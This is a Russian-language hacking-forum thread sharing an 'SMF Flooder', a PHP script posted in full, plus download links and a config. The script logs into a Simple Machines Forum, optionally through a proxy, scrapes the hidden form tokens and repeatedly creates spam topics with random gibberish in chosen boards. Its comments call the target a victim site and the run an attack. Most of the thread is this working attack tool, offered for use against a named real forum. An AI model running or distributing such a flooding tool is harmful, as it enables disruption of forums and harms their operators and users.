Собстна сабж навеян это темой https://forum.antichat.ru/threadnav115153-1-10.html Пытался нагуглить флудер, не нащёл написал Code: http://slil.ru/27438312 http://rapidshare.com/files/219790518/SMF_Flooder_2.rar.html http://dump.ru/file/2432381 Тестировался на SMF 1.1.6, SMF 2.0 RC1 Что может скрипт писать небуду, вот вам конфиг, сами поймёте PHP: $debug = true; #Выводить системные месаги? $host = 'ipd.ru'; #Например localhost $dir = '/forum/'; #например /forum/ или / $login = 'ololo'; $pass = 'BNDRFBNDRF'; $proxy_ip = 'ipd.ru'; #Или прокся или сайт-жертва $proxy_port = 80; $sleep_time = 5; #задержка секунд между запросами $boards = array('6','2'); #Список разделов, где флудить, берётся из URL вида /index.php?board=9.0 => 9 $count_msg = 5; #Скоко тем создать, максимальное число 99999999999, тебе хватит :) UPD: Сделал и для версии 2.0 RC1
пончь я в тебя влюблён) спасибо за содействие плюсоф тебе не меренно за поддержку и застраченое время
Уже несколько раз просили, нашёл наконецто Надеюсь это он PHP: <?php #SMF 1.1.6 flooder by Ponchik #forum.antichat.ru set_time_limit(0); $debug = true; #Выводить системные месаги? $host = 'hackhound.org'; #Например localhost $dir = '/forum/'; #например /forum/ или / $login = 'ololo'; $pass = 'qwertyuiop'; $proxy_ip = 'hackhound.org'; #Или прокся или сайт-жертва $proxy_port = 80; $sleep_time = 15; #задержка секунд между запросами $boards = array('34'); #Список разделов, где флудить, берётся из URL вида /index.php?board=9.0 => 9 $count_msg = 10; #Скоко тем создать, максимальное число 99999999999, тебе хватит :) function genTheme() { #Гененируем тему, меняйте на чё хотите $g = 'eyuioa'; $s = 'qwrtpsdfghjklzxcvbnm'; $len = rand(10,40); $theme = ''; for($i=rand(0,1);$i<$len;$i++) { if(!rand(0,5)) $theme .= ' '; if($i%2) $theme .= $g[rand(0,strlen($g)-1)]; else $theme .= $s[rand(0,strlen($s)-1)]; } return trim($theme); } function genMessage() { #Гененируем месагу $g = 'eyuioa'; $s = 'qwrtpsdfghjklzxcvbnm'; $len = rand(100,500); $theme = ''; for($i=rand(0,1);$i<$len;$i++) { if(!rand(0,5)) $theme .= ' '; if($i%2) $theme .= $g[rand(0,strlen($g)-1)]; else $theme .= $s[rand(0,strlen($s)-1)]; } return trim($theme); } ###########################Поехали############################ #Да, можно былбы CURL и т.д. но мну так всё нравица $login = urlencode($login); $pass = urlencode($pass); if($debug) echo "Иду на пагу<br>\r\n"; do { $fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30); } while(!$fp); $post = "user=$login&passwrd=$pass&cookieneverexp=on&hash_passwrd="; $out = "POST http://{$host}{$dir}index.php?action=login2 HTTP/1.0\r\n"; $out .= "Host: $host\r\n"; $out .= "Referer: http://{$host}{$dir}index.php?action=login2\r\n"; $out .= "Proxy-Connection: Close\r\n"; $out .= "Content-Length: ".strlen($post)."\r\n"; $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n"; fwrite($fp, $out); $ans = ''; while (!feof($fp)) { $ans .= fgets($fp, 128); } fclose($fp); file_put_contents('C:\rfgsdfsdf.html',$ans); preg_match_all("|.*Set-Cookie: (.*)=(.*);.*|U", $ans, $out); $cookies = array(); for($i=0;$i<count($out[1]);$i++) { #Да, да, тупо тута получилось, можно бюло переделать регулярку, но мне лень (: $cookies[] = $out[1][$i].'='.$out[2][$i].';'; } $cookies = implode(' ',$cookies)or die('Немогу залогиниться'); if($debug) echo "Успешно залогинился<br>\r\n"; do { $fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30); } while(!$fp); $out = "GET http://{$host}{$dir}index.php HTTP/1.0\r\n"; $out .= "Host: $host\r\n"; $out .= "Cookie: $cookies\r\n"; $out .= "Proxy-Connection: Close\r\n\r\n"; fwrite($fp, $out); $ans = ''; while (!feof($fp)) { $ans .= fgets($fp, 128); } fclose($fp); if($debug) echo "Готовлюсь к атаке :)<br>\r\n"; sleep($sleep_time); ##################################### for($i=1;$i<=$count_msg;$i++) { shuffle($boards); $board = $boards[0]; if($debug) echo "$i/$count_msg) Создаю тему в разделе $board<br>\r\n"; do { $fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30); } while(!$fp); $out = "GET http://{$host}{$dir}index.php?action=post;board={$board}.0 HTTP/1.0\r\n"; $out .= "Host: $host\r\n"; $out .= "Cookie: $cookies\r\n"; $out .= "Proxy-Connection: Close\r\n\r\n"; fwrite($fp, $out); $ans = ''; while (!feof($fp)) { $ans .= fgets($fp, 128); } fclose($fp); preg_match_all('|.*\<input type\="hidden" name\="(.*)" value\="(.*)" /\>.*|U', $ans, $out); for($i=0;$i<count($out[1]);$i++) { if($out[1][$i] == 'seqnum') { $seqnum = $out[2][$i]; $secname = $out[1][$i-1]; $secval = $out[2][$i-1]; } } sleep($sleep_time); do { $fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30); } while(!$fp); $theme = urlencode(genTheme()); $message = urlencode(genMessage()); $post = "topic=0&subject=$theme&icon=xx&message=$message¬ify=0&lock=0&goback=1&attachment%5B%5D=&attachment%5B%5D=&post=%CE%F2%EF%F0%E0%E2%E8%F2%FC&additional_options=0&$secname=$secval&seqnum=$seqnum"; $out = "POST http://{$host}{$dir}index.php?action=post2;start=0;board={$board} HTTP/1.0\r\n"; $out .= "Host: $host\r\n"; $out .= "Referer: http://$host/forum/index.php?action=post;board={$board}.0\r\n"; $out .= "Cookie: $cookies\r\n"; $out .= "Proxy-Connection: Close\r\n"; $out .= "Content-Length: ".strlen($post)."\r\n"; $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n"; fwrite($fp, $out); $ans = ''; while (!feof($fp)) { $ans .= fgets($fp, 128); } fclose($fp); file_put_contents('C:\\'.time().'.html',$out); sleep($sleep_time); } ?>